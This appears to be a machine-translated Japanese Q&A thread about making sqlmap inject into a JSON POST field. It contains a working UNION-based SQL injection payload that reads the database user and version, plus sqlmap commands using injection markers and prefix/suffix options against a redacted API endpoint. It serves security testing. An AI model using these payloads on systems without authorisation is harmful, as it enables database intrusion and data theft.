web-dev-qa-db-ja.com

sqlmapでカスタムインジェクションを使用する方法

これは投稿データで、通常は次のようになります

{"end_date":"2018-8-26","start_date":"2018-8-26","success":1}

結果として生じる「エラーがあります...」

{"end_date":"2018-8-26'","start_date":"2018-8-26","success":1}

以下は、dbバージョンとユーザーバージョンを正常に印刷します

{"end_date":"00:00:00') union select 1,user(),version();--+","start_date":"","success":1}

これまでに行ったことは

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --sql-query="00:00:00') union select 1,user(),version();--+" -v 3

しかし、Sqlmapはまだ失敗しています。

前もって感謝します。

1
Dark Cyber

次のいくつかを試すことができます。

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00*","start_date":"2018-8-26","success":1}' --sql-query="') union select 1,user(),version();--+" -v 3

アスタリスクを使用することで、sqlmapに注入先を指示できます。

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --prefix="')" --suffix=";--+" -v 3

プレフィックスとサフィックス(およびそれらをアスタリスクと組み合わせて)を使用して、注入の試行で何を配置するかをsqlmapに正確に指示できます。多分それはあなたの問題をすでに解決しています。また、詳しく見ることができます ここ

2
Ben